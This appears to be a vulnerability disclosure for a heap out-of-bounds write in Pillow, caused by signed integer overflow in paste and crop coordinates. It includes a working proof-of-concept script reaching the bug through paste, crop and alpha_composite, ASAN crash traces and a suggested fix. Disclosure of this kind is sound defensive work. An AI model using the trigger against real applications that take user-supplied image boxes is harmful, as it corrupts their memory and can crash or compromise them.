Summary

Pillow's public image coordinate APIs can trigger a native heap out-of-bounds
write when given coordinates near the signed 32-bit integer limits. In 4-byte
pixel modes such as RGBA, this becomes a controlled backward heap underwrite:
for a source image of width W, Pillow writes 4 * W attacker-controlled bytes
starting 4 * W bytes before the destination row pointer. With successful large
image allocation, the theoretical upper bound is ~2 GiB backwards from
the destination row.

Minimal public API trigger:

from PIL import Image

INT_MIN = -(1 << 31)

src = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
dst = Image.new("RGBA", (8, 1))
dst.paste(src, ((1 << 31) - 2, 0, INT_MIN, 1))

The same root cause is also reachable through Image.crop() and
Image.alpha_composite(). No private API, ctypes, custom Python object, or
malformed image file is needed.

This has been confirmed as an ASAN heap-buffer-overflow write. On normal
non-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with
double free or corruption (out)

Details

src/PIL/Image.py:paste() accepts a 4-tuple box and passes it to the native
ImagingCore.paste() method:

self.im.paste(source, box)

src/_imaging.c:_paste() parses the four Python coordinates into signed int
values and calls ImagingPaste():

int x0, y0, x1, y1;
PyArg_ParseTuple(args, "O(iiii)|O!", &source, &x0, &y0, &x1, &y1, ...);
status = ImagingPaste(self->image, PyImaging_AsImaging(source), ..., x0, y0, x1, y1);

src/libImaging/Paste.c:ImagingPaste() computes and clips the region using
signed int arithmetic:

xsize = dx1 - dx0;
ysize = dy1 - dy0;

if (dx0 + xsize > imOut->xsize) {
    xsize = imOut->xsize - dx0;
}

With dx0 = 2147483646 and dx1 = -2147483648, dx1 - dx0 wraps to 2.
That matches the 2-pixel source image, so the size check passes. The later
dx0 + xsize clip check wraps around and does not reject the out-of-bounds
destination.

For 4-byte pixel modes such as RGBA, the paste loop then multiplies dx by
pixelsize:

dx *= pixelsize;
xsize *= pixelsize;
memcpy(imOut->image[y + dy] + dx, imIn->image[y + sy] + sx, xsize);

For the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the
destination row allocation.

The primitive scales with the attacker-controlled source width:

source width = W
box = ((1 << 31) - W, 0, INT_MIN, 1)

C destination offset = -4 * W
C memcpy size        =  4 * W
write range          = [row_start - 4W, row_start)

Examples for RGBA:

W = 2         -> writes 8 bytes before the row
W = 1024      -> writes 4096 bytes before the row
W = 65536     -> writes 256 KiB before the row
W = 1000000   -> writes about 4 MiB before the row

Pillow's image creation guard currently limits xsize to roughly
INT_MAX / 4 - 1, so the theoretical upper bound for this RGBA underwrite is
2,147,483,640 bytes before the destination row pointer. In practice, the
usable range depends on memory availability, allocator layout, and process heap
state.

Two other documented APIs reach the same sink:

# Image.crop() path
left = INT_MIN + 2
Image.new("RGBA", (2, 1)).crop((left, 0, left + 2, 1))

# Image.alpha_composite() path, via its internal crop()
base = Image.new("RGBA", (2, 1))
over = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
base.alpha_composite(over, dest=(left, 0))

Image.crop() keeps right - left small, so the Python decompression-bomb
check allows it. src/libImaging/Crop.c then computes wrapped paste
coordinates and calls ImagingPaste().

PoC

The following standalone script exercises all three public API paths. Save it
as b021_poc.py and run it with paste, crop, or alpha.

#!/usr/bin/env python3
import argparse
import sys

from PIL import Image


INT_MIN = -(1 << 31)


def rgba_pattern(width):
    out = bytearray()
    for i in range(width):
        out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44))
    return bytes(out)


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "variant",
        choices=("paste", "crop", "alpha"),
        nargs="?",
        default="paste",
    )
    parser.add_argument("-w", "--width", type=int, default=2)
    args = parser.parse_args()

    width = args.width
    src = Image.frombytes("RGBA", (width, 1), rgba_pattern(width))

    if args.variant == "paste":
        box = ((1 << 31) - width, 0, INT_MIN, 1)
        dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
        print(f"variant=paste box={box}")
        print(f"expected C dst offset={-4 * width}, write_size={4 * width}")
        sys.stdout.flush()
        dst.paste(src, box)
        print("paste returned; first row:", dst.tobytes().hex())

    elif args.variant == "crop":
        left = INT_MIN + width
        box = (left, 0, left + width, 1)
        print(f"variant=crop box={box}")
        sys.stdout.flush()
        out = src.crop(box)
        print("crop returned; output:", out.tobytes().hex())

    else:
        dest = (INT_MIN + width, 0)
        dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
        print(f"variant=alpha dest={dest}")
        sys.stdout.flush()
        dst.alpha_composite(src, dest=dest)
        print("alpha_composite returned; first row:", dst.tobytes().hex())

    sys.stdout.flush()


if __name__ == "__main__":
    main()

Run against an ASAN build:

env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
  python b021_poc.py paste

env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
  python b021_poc.py crop

env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
  python b021_poc.py alpha

Observed ASAN signature for the direct Image.paste() path:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8
paste /out/src/src/libImaging/Paste.c:59
ImagingPaste /out/src/src/libImaging/Paste.c:323
_paste /out/src/src/_imaging.c:1461
0x... is located 8 bytes before 32-byte region

On non-ASAN Pillow 12.2.0 and local 12.3.0.dev0, the direct minimal
Image.paste() trigger returns from paste() and then the process aborts
during cleanup with:

double free or corruption (out)
Aborted (core dumped)

Observed ASAN signature for the Image.crop() and Image.alpha_composite()
paths:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8
paste /out/src/src/libImaging/Paste.c:59
ImagingPaste /out/src/src/libImaging/Paste.c:323
ImagingCrop /out/src/src/libImaging/Crop.c:57
_crop /out/src/src/_imaging.c:1090

Suggested fix

Avoid signed overflow in paste/crop coordinate arithmetic. Use checked
arithmetic or a wider type before calculating widths and clipped endpoints.

For example, reject boxes whose endpoint subtraction cannot be represented
cleanly, and clip using non-overflowing comparisons:

int64_t xsize64 = (int64_t)dx1 - dx0;
int64_t ysize64 = (int64_t)dy1 - dy0;

if (xsize64 < 0 || ysize64 < 0 || xsize64 > INT_MAX || ysize64 > INT_MAX) {
    return ImagingError_ValueError("bad box");
}

ImagingCrop() should receive the same treatment for sx1 - sx0,
dx0 = -sx0, and dx1 = imIn->xsize - sx0.

Impact

This is a heap out-of-bounds write in Pillow's native C extension, reachable
through documented public image APIs.

Applications are impacted if an untrusted user can control image operation
coordinates passed to Pillow, for example crop boxes, paste boxes, or overlay
positions. The bytes written in the direct Image.paste() variant are copied
from the source image, so attacker-controlled source pixels can influence the
out-of-bounds write. For RGBA, the write is a backward heap underwrite whose
offset and length are both 4 * source_width, bounded in practice by successful
image allocation and heap layout.